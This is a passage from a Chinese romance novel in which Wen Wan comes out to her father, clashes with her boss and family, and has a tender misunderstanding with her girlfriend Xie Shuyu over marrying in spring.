“确实什么?”温晚不高兴了。 “那你什么时候回家。”谢舒毓直接问。 “那刚才在你家楼下,你干嘛不跟干妈坦白?”温晚反问。 思索几秒,谢舒毓回答:“感情还不是很稳定。” 温晚笑着点头,“我也一样,说不定哪天就分了。” 对啊!说不定哪天就分了。 认识二十多年,感情还不是很稳定的她们一起回家,还没进门,表姑姑就左右手拉着叮嘱,“不许再当着大人面乱摸乱亲。” “好的。”两人齐声答。 温瑾对女儿依旧不咸不淡,但架不住温晚脸皮厚,爬到人后背,要亲要抱。 “重死了,滚开!”温瑾将她推到一边。 “好啊,你不要我,有人要我。” 温晚从沙发这头挪到沙发那头,爬到谢舒毓身上,跟她“啵”了下嘴。 表姑姑“哎呀”一声,吓得跳起。 温瑾瞄她一眼,“你发什么神经。” 谢舒毓捂嘴偷笑,温晚恶作剧吐舌,表姑姑翻白眼,满脸恨,温瑾腾地站起,“你再瞪!” “谁瞪你了,谁瞪你了。”表姑姑气咻咻走开。 真讨厌啊这一家人。 饭桌上还不消停,两人互相帮对方夹菜,谢舒毓本是最讨厌人家给她夹菜,但跟温晚在一起,什么都变得好好玩。 “亲爱的,张嘴。”温晚剥了只虾送过去。 谢舒毓欠身叼走,眯眼幸福咀嚼,“达令你对我真好,我好爱你。” 温晚她爸笑呵呵的,“这么多年了,感情还是那么好,真是令人羡慕的友谊。” “除了小筷子,谁还能忍得了她的狗脾气。”温瑾摇晃酒杯,浅抿一口。 外公话少,饭桌上更是,但不会过分要求小辈,专心吃自己的。 只有表姑姑,一阵挤眉弄眼,相当辛苦。 “你今天有点奇怪。”温瑾侧身,皱眉,盯。 表姑姑立即正襟危坐。 温瑾来了兴趣,“你老看她们做什么。” “我没看啊。”表姑姑梗着脖子。 温瑾小口喝酒,“羡慕啊。” 羡慕什么?表姑姑说她听不懂。 缓缓放下酒杯,温瑾持箸,夹了片肥瘦相间的猪五花,送到她嘴边。 “啊——” 像哄小孩。 鬼使神差,表姑姑张了嘴。 “宝宝,你最爱吃的回锅肉,好吃吗?”温瑾笑眯眯。 表姑姑脸唰地红透。 谢舒毓默默观察这一家人的表情,外公照例对这个世界漠不关心,小口吃饭,默默咀嚼;温晚欢呼雀跃,极其兴奋;温瑾好整以暇,似乎有些乐在其中;温晚她爸傻呵呵笑,说咱们这一家人感情真好。 表姑姑蚊子嗡嗡的声音说“我先离开一下”。 温瑾探身,“你害羞啦?” 到底谁才是深柜,真说不好。 饭后出门散步,谢舒毓始终郁郁,温晚为逗她开心,带她去了上次的儿童游乐场。 工作日的前一天,游乐场像雨后的松树林,呼噜噜冒出好多小小的蘑菇头,空地上跑来跑去,呼喊尖叫声像孢子扩散到空气中,轻微致幻,谢舒毓心情一下变得开朗许多。 “孩子们好快乐。” 小小的游乐设施塞不下大大的她们,就坐着一边干爽的草地上,手托腮静静看。 “谢谢你,小碗。”谢舒毓对着远方说。 温晚靠在她肩膀,“你是我的女朋友嘛,这些都是小事情啦。” 从面前跑过的好多好多小朋友身上,谢舒毓找到她们过去的影子。 不知明天陪伴在身边的人,是否还是昨天那一个。 还有后天,大后天,万天,万万天,三年,五年,十年…… 长舒了口气,谢舒毓轻声叹,“其实我已经很幸运了。” “我也是。”温晚附和。 第二天一大早,温晚她爸开温晚的车送谢舒毓去上班,到杂志社楼下,谢舒毓拉开车门下去,温晚屁股挪挪,谢舒毓弯腰,两人在车门边接吻。 她爸两手把着方向盘,就坐那看。 谢舒毓说“小碗拜拜,干爸拜拜”,关上车门走了。 温晚坐直身体,抬头瞄他一眼。 他当真半点没看出来,只是羡慕,说她们感情真好。翻来覆去都在这句。 温晚叹气。 “怎么了小碗,是不是跟小筷子分开,不高兴了。”她爸说。 温晚摇头,继续叹气。 是,也不是。 “说了,您老人家也不会懂的。” 以后怎么跟家里人坦白啊,都亲成那样了…… 她们总不能在客厅脱光演一出活春宫吧。 温晚请了一天的假,寻思上午她爸开车送她回去,下午她带他在附近转悠转悠,再给他买第二天的车票回去。 高速服务区,温晚给次子打电话,她最近老在请假,那边颇有微词。 “我会处理好自己的工作。”温晚承诺。 “不是不信任你的工作能力,可公司有公司的制度……” “不行把我开了。”温晚低头,踢飞路边小石子。 “温经理。” 傅明玮在电话里说:“你是不是有点恃宠而骄了。” 恃宠而骄? 温晚一下就炸了。 “你脑子被驴踢了,你吃屎吃多了,你有病啊,谁跟你恃宠而骄,你知不知道自己在说什么,撒泡尿照照自己行不行,鬼上身了,你以为你是皇帝吗?” 她爸举着两根烤肠走过来,吓得不敢说话。 “神经病!真有病!”温晚像只炸毛狮子猫,恶狠狠戳手机,挂断电话。 “谁啊!”她爸问。 “我领导!”温晚气呼呼撩了把头发,接过烤肠,凶残咬下大半。 “我请假,他说我恃宠而骄,你说他是不是有病。” 她爸跟着她一起骂,声音一个比一个大,上车还在骂。 温晚本来给她爸买了杯咖啡,现在不需要了,两个人靠骂傅明玮提神。 过了半小时,温晚骂累,靠在后座休息,她爸给老婆打电话告状。 “领导?她自己跑去给人当小妹的嘛,她喜欢打工,喜欢历练,随她开心好了。” 温晚完全可以想象妈妈仰靠在老板椅,举着手机一脸云淡风轻又幸灾乐祸的样子。 她之所以一直不肯回家,就是因为妈妈老这么阴阳她。 “我烦了!”温晚大声吼。 “你嚷嚷什么,你还有理了,以后这种破事别告诉我们,没人想听。”温瑾隔着电话跟她对吼。 温晚两只手捂住耳朵,“你不听我也不听!” 她爸急忙挂了电话。 “都怪我都怪我,你心情已经很不好了,我还惹来你妈,骂你一通。” 像条死鱼,温晚一句话也不想说。 到家,她给爸煮馄饨,冰箱上有谢舒毓留下的很多张便利贴,清汤馄饨怎么调,麻辣干拌又怎么调,重点:冷冻层还有切好的小葱。 温晚按照配方,煮了两碗馄饨端出去,她爸受宠若惊,捏着瓷勺,还没吃就感动得热泪盈眶。 “我们家小碗长大了,呜呜呜……” 他赶紧掏出手机拍视频。 镜头对准温晚,她笑得无比灿烂,“我喜欢历练嘛!” 她爸说重新拍,不要惹妈妈生气。 这一次,温晚笑容更大,声音更响,“我喜欢历练!我爱吃苦!我也要当女强人!嗷嗷嗷!” 说过伸手抢过她爸手机,把视频发过去。 “叛逆,太叛逆了。”她爸谴责。 “凉了就不好吃了,这些都是小筷子包的。”温晚坐回去。 她爸就开始夸,说小筷子真好,读书好,工作好,人好,脾气好,厨艺也好。 温晚冲他挤挤眼睛,“如果是我老婆就更好了。” 其实已经是了,嘻嘻。她在心里偷笑。 她爸“啊”了一声。 “对啊,这么好的人,为什么不能做我老婆呢,那样我一定可以生活得很幸福,妈妈爸爸姑姑外公,就再也不会为我担心。” 温晚咬一口肉馄饨,好香。 老婆包的。 下午温晚在手机上找攻略,突然想起,来了好几年,这座城市很多著名景点她都没去过。 之前谢舒毓不在,她懒洋洋没什么兴趣,谢舒毓来了,她们又一直忙着吵架。 开车带爸爸去博物馆,大门前温晚忽地醒神,小君好像带她来过。 竟然完全没印象。 小君是个好女孩,确实追求过她,在她离家后也给她提供了许多帮助。 她想试试,跟谢舒毓之外的人,相处一阵,发现自己还是做不到。 牵手已经是极限,她不想表现得太过抗拒,但事实是她连走路都不正常。 说一声“抱歉”,逃去卫生间,疯狂洗手。 小君追来,也是温晚有意让她看到,博物馆后半程,体贴跟她保持半米距离,此后再没有产生任何肢体接触。 一周后,和平分手。 除了博物馆大门,温晚对里面的一切都是陌生的。 她爸前一分钟还在给老婆拍小视频,说宝贝女儿带我来参观博物馆啦,随后被工作人员告知,今日闭馆。 “为什么会闭馆!”温晚深深地皱眉,不解。 “每周都要打扫维护,可以选择明天参观。”工作人员温和回复。 “对不起,给您添麻烦了。”她爸把人拉走。 车上,温晚释然,“也好,下次我来小筷子来,周六总不能也闭馆。” 她爸一脸哀怨,“小筷子在你心里,比我这个爸爸重要多了。” 温晚低头给谢舒毓发消息,约她下周去博物馆。 [我上次开车去找你的哦!你不许再说我没找过你了。] 她嘴也不闲着,嘴上问:“那在你心里,是你老婆重要,还是我重要。” “都重要。”她爸敷衍。 休息太久,工作积累很多,但谢舒毓工作性质不一样,一笔两笔花不完,她停下休息两分钟,回复说好。 温晚放下手机,“不可以,今天必须要分出个高下。” “那只能是伴侣。”她爸说。 他说只有伴侣,才是真正一辈子陪伴在身边的人。 “父母衰老,子女出走,唯有爱人。” 说得好。 “所以小筷子当然比爸爸更重要。” 温晚想起昨天在谢舒毓家楼下,李副校长满脸惊慌失措的样子,顿时坏心起,凑近些问:“老爸,你觉得小筷子人怎么样?” 她爸警觉,“什么意思。” “我想把她抱回家当老婆。” 温晚露出向往神色,“像小时候那样,多好啊,我们名正言顺在一起。” 她爸:“可小筷子是女的!怎么做老婆。” 温晚:“女的就是老婆,我也是女的,我们互相当对方的老婆。” 她爸:“女的跟女的结婚?” 温晚:“女的跟女的结婚,女的跟女的过日子,女的跟女的做天底下夫妻一切可做之事,包括生小孩,如果我们想。” “你……” 她爸想了很久才想起来那词儿怎么说。 “小碗,你不会是同性恋吧。” “对呀。”温晚歪头笑。 振聋发聩,他爸一脸被雷劈。 温晚嗲嗲央求,“爸爸帮我跟小筷子保密好吗?求求你,千万不要告诉妈妈外公和表姑姑,不然我肯定会被打断腿的,呜呜……” 副驾位,她爸呆坐许久,仍试着挽回。 “那你这个……” 他不知道该怎么形容,又不能说是疾病,温晚提醒“取向”,他忙不迭点头,“那你这个取向还有纠正的可能吗?” “不需要纠正,我的取向没有任何问题。”温晚说。 “那我纠正,是我措辞有误。”她爸说,只是向她确认,是不是真的没有第二种可能了。 “绝无可能。”温晚严肃脸。 她爸眉头紧锁,嘴上宽厚,心里还没捋顺。 温晚捂嘴藏笑,再次强调,“答应要保密的哦!我跟你掏心窝子,你可不能出卖我。” “尤其是表姑姑!她一个农村妇女,啥也不懂,老封建,肯定会对我有偏见,千千万万得防着她,不能泄露一丝一毫!” 哈哈哈哈哈哈哈哈。 温晚心中狂笑,她脑海中有了一个邪恶的计划。 第58章 想在春天结婚 家里只有一张床,温晚本来要把卧室让给她爸住,是个收买讨好的意思,她爸说不用,沙发上对付一宿就行。 温晚给他铺床单,说有好几次跟小筷子吵架,她赌气要在沙发上睡,但架不住她软磨硬泡,后来还是回到卧室。 说起来,很为自己的超凡手段得意洋洋。 “小筷子最听我的话了。” “那么好的关系还吵架。”她爸坐在一边的贵妃榻,手表摘了放在茶几上。 温晚回头瞄了眼,本来下午想给他买个金戒指巴结巴结,看他一身名贵,估计也瞧不上她的破铜烂铁,路边买了个肉夹馍。 再说表姑姑还没得到礼物呢,公平起见,都不买。 “我妈跟表姑姑也经常吵架。” 温晚拿冬天的小毛毯给他叠了个枕头,谢舒毓那个她晚上要抱着睡,不能给人用。 她爸想了想,点头说“是”。 “不过你也能看得出来,她们是闹着玩的。” 她爸是个泥人脾气,这么多年,温晚没见两口子红过一次脸,每次她妈发狂,都是她爸负责安抚。 所以,不是谁都可以当软饭男的,清楚认识到自己的平庸,又何尝不是一种天分。 温晚跟谢舒毓的相处模式,跟她妈和表姑姑倒挺接近的。 怪不得,耳濡目染。 “爸爸,你会祝福我跟小筷子的,对吗?” 温晚在他身边坐下,说:“我有个朋友,大学时候出柜,家里不同意,两边直接就断绝关系,到现在她爸半死不活躺在医院,还没和好。” “点我呢。”她爸笑着说。 “其实全家,我觉得最难搞定的是妈妈和外公,而爸爸是最善解人意最温和的。” 她把人捧着,捧得高高的,捧到天上去,说爸爸你到时候一定得帮我,为了你女儿的终生幸福。 被捧得有点飘飘然,闺女说什么都只管答应,直到熄灯入睡,他感觉自己还在云端上躺着。 温晚跑回卧室,往床上一摔,给谢舒毓发消息说了自己的计划。 “天呐,你真厉害,你是怎么想出来的,简直天才!” 谢舒毓应该在忙,发了条语音。 温晚点开,反反复复听了好几遍,实在太喜欢她的声音了,忍不住给她打视频。 那边接得很快,手机应该是架在电脑屏幕那,人笔直坐在桌前,一只手在板子上挪来挪去,忙得飞起。 温晚趴在床上,看她专注做事,没打扰。 过了四五分钟,画完其中一个结构,谢舒毓抬头冲着手机笑笑,“怎么不说话。” “这样看着你就很开心。” 捧着手机,温晚在床上打了个滚,“而且我喜欢看你画画的样子,虽然根本看不见你在画什么。” 谢舒毓就举起手机给温晚看电脑屏幕,“画的人设图,之前接的私活,先给个样稿,看看那边反馈再调整。” 女作家成名已久,笔下角色众多,这次出的样稿,是其中一个比较有代表性的。 奇幻角色,有兽类轻盈的羽毛和钝重的犄角,要体现出人物的怪诞感,整体风格又不能太过恐怖阴暗。 把书本,幻想中的角色一笔一笔描绘到纸上,难度还挺大的,发色、衣饰等细节,都需要两方共同商讨确认,同时粉丝意见也极为重要,谢舒毓白天都在抽空看书,提取人物描写。 温晚歪头盯了几秒,“我没看过她的书,但看了你的画,对书的内容倒是挺好奇的。” 她想到一点,“你的画是不是也能给她带去不少流量。” “真聪明。” 谢舒毓隔空摸摸温晚的头,“画更直接,到时应该会吸引到部分路人。” 温晚做企划,营销这方面,很有经验,“看来她是有团队的,跟你签约,除去专业性,也是看中你的知名度。” 说着高兴起来,“嘿嘿,我的小筷子要发财啦!” “对了,合同呢。”温晚想起。 已经是板上钉钉的事,报价也接受,就差签约,谢舒毓说那边答应明早。温晚叮嘱,让她别忘把合同发过来,“我让妈妈找法务给你审。” “好的,谢谢小碗。”谢舒毓对着手机比心,举杯喝了口水。 “叫老婆!”温晚爬起,肃着张脸,玩霸总梗。 谢舒毓险些喷水,手臂半遮脸,缓了几秒,咳嗽一声,人倒是怪老实的,配合撒娇,说“谢谢老婆”。 “哎呦喂——” 温晚捧着手机倒下去,幸福得不知道该怎么办好。 “不过。”谢舒毓手机挨近脸,压低嗓,“你在房间里这么大声说话,干爸能听见吧?” “那又怎么样。”温晚满不在乎一挥手,“兴他有老婆,不兴我有老婆啊。” 哦哦,好有道理哦—— 谢舒毓把手机架回电脑屏幕,双手撑腮,半趴在桌边休息,眼睛亮亮地看着她。 “好喜欢小碗,我的老婆。” “我也好喜欢小筷子。” 心软得一塌糊涂,这种甜蜜,简直不知该怎么形容。温晚疯狂打滚,“老婆老婆老婆,想你想你想你——” “我也想你。” 谢舒毓有点委屈,嘟嘟嘴,“想抱抱你。” “我也我也是。”温晚捧着手机,木马木马,狂亲。 多巴胺、催产素、血清素、肾上腺素,等等等等,把恋爱中的人们搅和得神志不清,没营养的废话讲了一筐又一筐。 温晚说着说着,眼皮懒洋洋眨了几下,趴在床上睡着了。 她手机掉在枕头边,摄像头对准天花板,吸顶灯像个圆圆的小太阳,谢舒毓想象,她的小女朋友躺在开满鲜花的草地上,有微风吹拂过她柔软的面颊…… 笔下的人物,有一种类似德鲁伊掌控自然的神魔之力,谢舒毓在祂脚下绘出了一片灿烂的花海。 手机没挂,就放在那,伴着爱人清浅的呼吸声,谢舒毓把剩下的工作完成。 视频通话在凌晨一点结束,温晚手机没电,自动关机。 想着干爸在,肯定会叫她起床,谢舒毓就没管。 而事实是,温晚她爸觉着,女儿都三十岁了,能独立行走,会自己煮饭吃饭,异地独居好几年,大事小事都能自己拿主意…… 总之,她早上不起,肯定有不起的道理,也没喊。 手机关机,公司里谁也联系不上她,温晚醒来,走出房间抬头看一眼挂钟,十点了。 “算了,下午再去。” 她慢吞吞洗漱抹脸,桌上早餐她爸已备好。 “我下午跟你一起去。” 她爸叉腰站在客厅中间,“我倒要看看,你这个领导到底是个什么样的人物。” 他这次出门,也是受到领导的委派,领导忙抽不开身,那种小喽啰也不值得领导亲自出面。 温晚想了想,说行,“我最近老请假,早上又没去,他下午肯定要来找我麻烦。” “那你怎么老请假呢。”她爸问。 “忙着谈恋爱呗。”温晚理直气壮。 “原来如此。” 她爸就哈哈哈笑了,“那也没什么关系,人这一生,有很多很多比工作更重要的事情,钱是挣不完的。我们来到这个世界上,是为了体验美好,不是为遭罪。” 温晚给她爸竖个大拇指,然后指一下,说:“能不能把你那块表送我。” 她爸手本能往身后藏了下,“这跟我的表有什么关系,表可是你妈妈送的。” 温晚说她没戴过那么贵的表,想体验。 她爸说:“把表送你,对你来说是美好的事,但对我不是,你想体验美好,没问题,但你不能剥夺我的。” 温晚静静看着他。 “而且这是男士表,你戴着不好看,太大了。”他补充。 温晚笑得前仰后合。 下午她爸跟她去了公司,温晚忙工作,她爸就坐在一边沙发上看书,傅明玮跟她发微信,让她上楼聊一下最近考勤问题。 温晚刚把谢舒毓发过来的合同转发给她妈,顺手回复,说没空。 不到五分钟,傅明玮来了。 “就是这个!就是他!”温晚远远看见,一通嚷嚷。 他爸理理衬衫,坐直了。 傅明玮推门进来,看到沙发上坐的中年男人,明显愣了下。 “这位……”他猜想是客户,本来凶神恶煞的,转脸换个笑模样。 她爸起身自报家门,进大楼之间,很心机把表从左手换到右手,这时候伸出去跟人握,低调展示财力。 好像男的在这方面都特别敏锐,傅明玮一下就注意到了。 “叔叔好。”他视线短暂停留。 温晚忍笑艰难,在群里直播。 她爸先给人道歉,是家长吐槽小孩惯用的那种语气,考勤也好,工作态度也好,反正我说了你就不能说了,我家小孩我怎么说都无所谓,但你不行。 温晚对网上说的“爹味”第一次有如此强烈直观的感受。 原来她从前是当局者迷,还有亲爹滤镜。 “爹”与“爹”在她不足二十平米的小办公室,进行了一场极致的激情碰撞。 而“爹”这个种族里面,最是讲究年龄和阅历,不管“爹”是多么的愚蠢无知,蛮不讲理,且素质低下,只要他足够老,最终都可以成为赢家。 还是亲爹滤镜,温晚觉得她爹是是有两把刷子的,看问题角度清奇,十分随心所欲,偶尔,甚至会给她带来一种会心一击的轻巧感。 傅明玮呢,一个血统纯正的大草包,当然不是老爹对手,看他们同族相残,挺过瘾。 “还有,温晚可能真干不了多久了,她明年春天,得回去跟对象结婚。” 她爸最后说道。 “温晚要结婚了?”傅明玮比温晚本人还要震惊。 她爸叹了口气,“这孩子给家里惯坏了,确实有些恃宠而骄,听说上次你们闹了点小矛盾,她砸了你的办公室,真对不住。” 话说得漂亮,面上却毫无半分歉意,甚至淡淡刻薄感。 傅明玮瞬间黑脸,吓的。话说到这份上,再听不出来好赖,就该找个医院测测智商了。 温晚坐在位置上,从始至终一句话没说,傅明玮更连她办公桌都没能靠近,被她爸怼了几句,灰溜溜走掉。 “老爹”大获全胜,把表右手换左手,“这么戴,真别扭。” “装还是您会装。”温晚赞美。 她说她脾气不好,自认素质不高,只会打砸和脏话,她爸这样,跟谢舒毓倒是挺像的。 但谢舒毓很少跟人发生正面冲突,像她爸这样笑呵呵暗讽的时刻,极少数。 谢舒毓总是一脸不屑,好像跟人多说一句,就会折寿三年。 “打砸也很好,只要情绪能够得到释放,每个人都有自己处理问题的不同方式。” 中年男人的通病,喜欢讲道理,洪水开闸,滔滔不绝。 温晚左耳进右耳出,给谢舒毓发消息:[我爸说明年春天安排我们结婚。] 也不知道那边有没有认真在看,顺手两字。 [好的。] [真的假的?] 温晚试探,她好像也不是特别激动。 她爸站在窗边,“你这里视野倒是蛮好的。” 两人谁也没听谁说话。 [你说的。] 温晚再一次跟对方确认。 [我说的。] 谢舒毓半点没犹豫。 温晚放下手机,“怎么就明年结婚,你只是为了赶走他,还是我妈的意思。” 她不觉得她爸有这么大的主意。 “你都三十岁了,你还要在外面浪到什么时候?” 她爸从窗边走到她的办公桌前,两指弯曲,连续敲击桌面,“你觉得我这次为什么会跟你过来,只是给你开车呐,你为人子女的自觉有没有,你妈你爸一把年纪了!” “就是因为你们老这样说我才不愿意回去,我现在又没花家里的钱,我都跑那么远了,为什么还要追着我念叨。” 温晚一屁股坐到椅子上,“烦死了!早知道就不让你来了。” “你没花家里钱,还要我给你当司机,要我来帮你打发那个那个,那个……” 他半天没“那个”出来,不管了,“那个男的。” “我又没逼着你来。”温晚开始耍赖皮。 “如果你觉得同性恋是阻碍的话,那我可以明确告诉你,你找个人妖,我也帮你摆平。” 她爸放大话。 温晚说你神经病吧,“你才找人妖。” “而且,你现在跟小筷子是异地,你的行为,我更加不能理解。” 她爸很气,自己去饮水机那接了一大杯水喝。 “因为我不想住在家里,讨厌从起床就被安排,吃几碗饭,喝几杯水,连水果也定时定量,不顾我的喜好,只说多有营养,而且你们进我的房间从不敲门,我一点隐私也没有,我感觉窒息!” 温晚对着他大声吼,吼着吼着,眼泪掉下来,“你们忙的时候根本就不管我,只有小筷子在我身边。你们敢说,把她弄到家里来,真的一点私心也没有?还不是觉得她学习好,能辅导我。你们看起来对我很关心,其实我根本就是放养长大的,公司开起来了,又要我这样那样,逼着我读自己不喜欢的专业。” “那你喜欢什么?”她爸问。 温晚怔怔流泪,在他身上看到了无数个人的影子。 她摇头,“我喜欢什么,重要吗?我真羡慕小筷子,有自己喜欢的事,并为之奋斗。” “你根本不知道自己喜欢什么,长辈当然要替你安排。”他说。 “你爹味儿真重,我不想跟你讲话了。”温晚想起,在老家跟谢舒毓一起修热水器。 “请您离开。” 他猛地一挥臂,显然也是气着了,“不管你,你上天好了!” “我明天就在公司楼下搭飞船,我要逃离原生家庭,去外太空生活。”温晚开始胡言乱语。 “真是养了个白眼狼!”她爸抓起沙发背上搭的外套,气冲冲走了。 这个告状精,没过几分钟,温晚电话响,接起,对面她妈劈头盖脸一顿骂。 温晚不敢还嘴,手机放一边,两只手握着拳头。 “啊啊啊,气死我了。” “你还气着了?你气死你老娘得了!有本事你一辈子在外面别回来。”温瑾说完把电话挂了。 没什么排解的好办法,擦干泪,温晚把部门人召集起来,开了个会。 她狂放至此,每天骂领导,骂下属,在大部门会议上,朝竞争对手脸上泼水,到现在没被开,全凭自己出众的工作能力。 当然,更重要的一点,她的领导真是个世间绝无仅有的蠢蛋、草包,这么能干的下属,任性一点又怎么样,只要数据漂亮,一切都好说。 温晚几次都觉得自己要被开掉了,甚至巴不得早些被开,行事越来越肆无忌惮,偏偏每次节庆活动,她的企划案都能给公司带来巨大收益。 加班到晚上九点,满心工作,温晚忙得连饭都忘了吃,直到谢舒毓电话打来。 “我给你发消息,你没回,你在工作吗?有没有吃东西。” 闭眼,轻揉太阳穴,温晚仰靠椅背。 “还没,今天有点忙。” 谢舒毓已经回宿舍了,刚洗完澡,散着湿发,肩膀上搭块毛巾,在阳台上吹风。 听出她兴致不高,嗓音更为低柔,“休息一下吧,你想吃什么呢,我给你点。” 心情好转了些,温晚想想说:“你看着办,你点什么我吃什么。” “好。”谢舒毓立即打开外卖软件,“我不告诉你,让你有所期待。” 温晚笑起来,说“好呀”。 谢舒毓嘿嘿傻笑,“听到我的声音,有没有感觉放松一些。” “我想你。”温晚又变成小女生,嘟嘟嘴,说要抱抱。 “我白天听你说,想在春天结婚……” 铺垫许多,谢舒毓还是想说那件事。 她说她一整个下午,都在认真思考到底要不要办婚礼,想了很久很久,认为需要。 “有个仪式就好,客人不需要多,你的家人,我的家人,还有我们身边重要的一些朋友。” “仪式是必须的,因为我们从此往后就不止是朋友了,还是恋人,我希望大家都可以明白这件事情,我们在一起,是因为爱情。” 她心里很平静,或者说是冷静更为准确,“我没有婚假,但可以请个年假,我们找个人少的时间出去玩,看看别的地方不一样的风景。” 高山顶上,海边,或是遥远隐秘的少数民族村落。 “甚至都不需要等到春天,秋天也不错,不冷不热的。” “我想快些和你确定下来,也希望你能回家,我们长长久久在一起。” 温晚从谢舒毓说第一句话开始,就愣住了。 缓了好久,她迟疑着向对方确认,“我们才在一起几天,都没来得及全部告诉家里人,你怎么会想到办婚礼。” 谢舒毓哑了两秒,“不是、不是你说的,要在春天。” 温晚一拍脑门。 “那只是我爸胡乱说的,当时傅明玮在我办公室,他为了以后我不被继续纠缠。” “所以不是真的。”谢舒毓感觉心窒,又担心自己是不是真的太激进了。 “你真的想好了?你的家人怎么办,会同意吗?”温晚道。 “不需要谁同意。” 谢舒毓回答说:“这是我自己的事情。” 她什么都处理好了,只差她同意,她们随时可以结婚,向所有人宣布,她们在一起了。 “其实一直以来,我都非常渴望能拥有自己的家庭,我攒了好多东西堆在宿舍房间舍不得丢,就是希望,到时候能给它们换个大点的房子。” 心说不要,不要再继续了,谢舒毓却完全没办法停下,“忙完这阵子,我就有钱了,可以买房了,到时候我们一起去看。” 说买房的时候,她明显底气不足。两人家境悬殊巨大,温晚家不说多豪多豪,反正比她家有钱。 而且她家的钱,也不是她的。 她需要很努力很努力才能获得的东西,对温晚来说,像穿衣吃饭一样简单。 于是心虚补一句,“你帮我参谋。” 好像下雨了,谢舒毓往前走两步,手撑在阳台围栏,睁大眼睛努力分辨,“真的下雨了,小晚,你的城市下雨了吗?” 温晚看向窗外,“没有。” 就此打住,似乎她就在面前,谢舒毓对着空气抱歉笑笑,“对不起啊,没有提前征求你的意见就胡乱安排了一堆,没关系的,我只是随便说说,你千万不要有心理负担,我……” 谢舒毓垂下头。 没办法再继续,她把电话挂了,用自己最擅长的方式,把自己包裹起来。 其实根本没下雨,虽然确实快要下雨了。 温晚收到外卖的时候,给谢舒毓去了条消息。 [我还不想回家,我很喜欢现在的生活,我感觉自由,甚至心甘情愿加班,你能明白吗?] 谢舒毓坐在阳台一张塑料凳上,把这句话反反复复看了很多遍。 [不明白。] 从不被偏爱的小孩,不明白。 第59章 “学姐学姐!” [上周在县城老家,你突然宣布说,我们在一起了,我一点没个准备,稀里糊涂就应下。] [才过去几天,就说要办婚礼。] [那时候你没征求我的意见,现在又是。] 温晚一连串找补,越说越没理。 她急得蹬了一脚,应该是动到桌下台式机电源,电脑瞬间黑屏。 幸好,手边没什么正在做的重要文档,直接下班算了,她起身开始收拾包。 怎么讲,网上那种盛大的告白仪式,又是鲜花又是蜡烛的,温晚也想要。 表白在夜市烤鱼摊子就算了,求婚呢,手机上敲几个字就把她安排得妥妥当当。 鬼才答应跟你结婚。 是两个人关系太好太熟了吗?最次,当她面深情款款说几句感人的话,比如我非你不可,爱你爱到天荒地老之类的也行。 说不出口没关系,最次最次,给她一束鲜花吧。 对了,说到鲜花,她们认识这么多年,谢舒毓只送过她路边和树上偷的那种,花店里正儿八经的一次没有。 俗啊,确实俗,匹配不上她大艺术家的身份,可温晚自认就是个俗人。 想要浪漫,要惊喜,不需要太多人见证,不需要观众和灯光,但要足够出其不意,戳她心窝。 可这种话要她怎么讲,讲出来还有什么意思,本来就该靠对方自行领悟的嘛。 上了一天班,被下属气,被领导气,被老爹气,家庭群还把她轮番轰炸一遍,温晚一路拳打脚踢出了写字楼。 站马路边一看,她又走错了,该去地下取车的。 这个点楼下咖啡厅已经打烊,温晚沿街搜索,看到家便利店。 像小时候玩的塑料万花筒,透明橱窗内,各色货品看似杂乱,实则排列井然有序,缤纷色彩在苦寂夜色中充满致命诱惑力。 温晚没吃饭,谢舒毓给她点的外卖是粥,那家巨难吃巨腥的皮蛋瘦肉粥。 她只看了一眼外包装,直接扔进垃圾桶。 在便利店泡了杯面,要小份的关东煮,冷柜前,她寻思着,有这么多高热量了,就把饮料换成矿泉水。 坐在窗边高脚椅,温晚拧开瓶盖喝了一口,常温水没滋没味的。 她皱眉盯几秒,嘀咕说:“还差这点?” 正准备起身重新拿饮料,旁边一只手伸过来,给她递了瓶苏打水。 “嗨,你好。” 温晚抬头,一个男的,应该是附近写字楼的上班族,脖子上工牌没摘,大厂工牌,软件工程师。 搭讪,不稀奇,这种暗搓搓的炫耀温晚更是见多了。 她心说你装鸡毛呢装,破工牌有本事洗澡睡觉也别摘,挂你家祖宗牌位上吧。 “请问有事吗?”她基本社交礼仪。 “想和你认识一下。”对面直接在她身边坐下。 温晚闷笑一声,“不好意思,我是女同性恋。” 对面立马给她表演一个笑容消失术。 “对不起,打扰了。” 苏打水还留在那,温晚把他叫回来,“拿走别浪费呀。” 她站在冷柜前,千挑万选,还是选了瓶谢舒毓平时喜欢喝的茶饮料。 苦的,跟她的爱情一样苦。 词不达意,温晚只怪自己书读少了,没文化。 她不能理解,谢舒毓更不能理解,两片肩膀潮乎乎的,毛巾润透了睡衣。 没有立即回复,谢舒毓起身离开阳台,揭了毛巾,镜前把头发吹干。 大客厅空空的,就一张岩板餐桌和一套布艺沙发,凉拖鞋拖沓在灰色地砖,轻微回响。 风筒声音像海啸淹没耳朵,谢舒毓闭上眼,情绪还算稳定,她现在学会把问题放置。 嘴边要说的话,不用过分计较对错,先放一边,放个一两分钟再决定到底要不要说出来。 谢舒毓原句是你可以拒绝,我没求着你答应!不谈就散,拉倒。 吹干头发,她打字回复温晚: [我知道,你今天太累了,很多人和事都让你不开心,以上全部我只当气话。但更早,电话里的内容,你的感受我会认真考虑,我绝不会强迫你做不喜欢的事,婚礼的事,以后再说。] 温晚拿头撞桌子,“咚咚咚”,节奏规律。 所以结婚的事,就这么被她搅黄了,她还得装得风轻云淡。 [小筷子,谢谢你的体贴。] “体贴,呵呵,我体贴你全族鳖姐鳖妹。” 手机熄屏,谢舒毓把毛巾挂在架子上,打开卫生间的小窗通风。 外面真的下雨了,空气中有微腥的泥土气息,只是高层雨声并不清晰。 她伏在窗边发呆,手机连串的响,有消息进来,心跳像落雨的湖面,变得乱七八糟。 应该是温晚吧,温晚跟她说了什么呢。 是经过深思熟虑后,决定把婚礼提前,跟她确认更多细节,还是先感激她的宽宏大量,一番自省后,决定把婚礼提前…… 谢舒毓承认自己有点傻,故意不去看,让好心情多飞一会儿。 磨磨蹭蹭回到房间,坐在电脑前,手机解锁,置顶的聊天框却空空荡荡。 是最近跟她合作的女作家。 [小毓老师!小毓老师!] [小毓老师的画太好了。] [我把样稿发给很多人看了,她们都赞不绝口,说非常符合小说中的描写。] [我自己也这样觉得。] 后面老长的一串“啊啊啊”,以及赞美。 把人都夸得不好意思了,谢舒毓说没没没,有需要改进的直接跟我讲。 果然,对面话锋一转,说哪里哪里还需要加强。 做乙方就是这样,谢舒毓入行这么多年,早就习惯了,很耐心倾听她的问题,鼠标晃醒电脑,找到目标图层,开始改画。 半个小时后,她把图改好发过去,那边满意了,又是一顿夸夸。 礼貌嘛,谢舒毓能理解,但还是觉得她有点虚伪。 